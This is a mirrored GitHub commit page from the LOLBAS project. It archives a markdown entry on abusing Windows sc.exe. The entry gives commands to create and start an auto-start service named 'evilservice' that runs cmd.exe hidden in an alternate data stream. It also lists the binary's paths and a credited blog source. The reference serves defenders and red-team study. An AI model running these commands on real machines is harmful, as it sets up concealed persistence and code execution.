mirror of
https://github.com/LOLBAS-Project/LOLBAS
synced 2025-07-28 21:22:07 +02:00
Removed MD files, we only use the webportal from now on. All MD files moved to archive
This commit is contained in:
19
Archive-Old-Version/OSBinaries/SC.exe.md
Normal file
19
Archive-Old-Version/OSBinaries/SC.exe.md
Normal file
@@ -0,0 +1,19 @@
|
||||
## SC.exe
|
||||
* Functions: Execute, Read ADS, Create Service, Start Service
|
||||
```
|
||||
|
||||
sc create evilservice binPath="\"c:\\ADS\\file.txt:cmd.exe\" /c echo works > \"c:\ADS\works.txt\"" DisplayName= "evilservice" start= auto
|
||||
sc start evilservice
|
||||
|
||||
|
||||
```
|
||||
|
||||
* Resources:
|
||||
* https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/
|
||||
|
||||
* Full path:
|
||||
* C:\Windows\System32\sc.exe
|
||||
* C:\Windows\SysWOW64\sc.exe
|
||||
|
||||
* Notes: Thanks to Oddvar Moe - @oddvarmoe
|
||||
|
Reference in New Issue
Block a user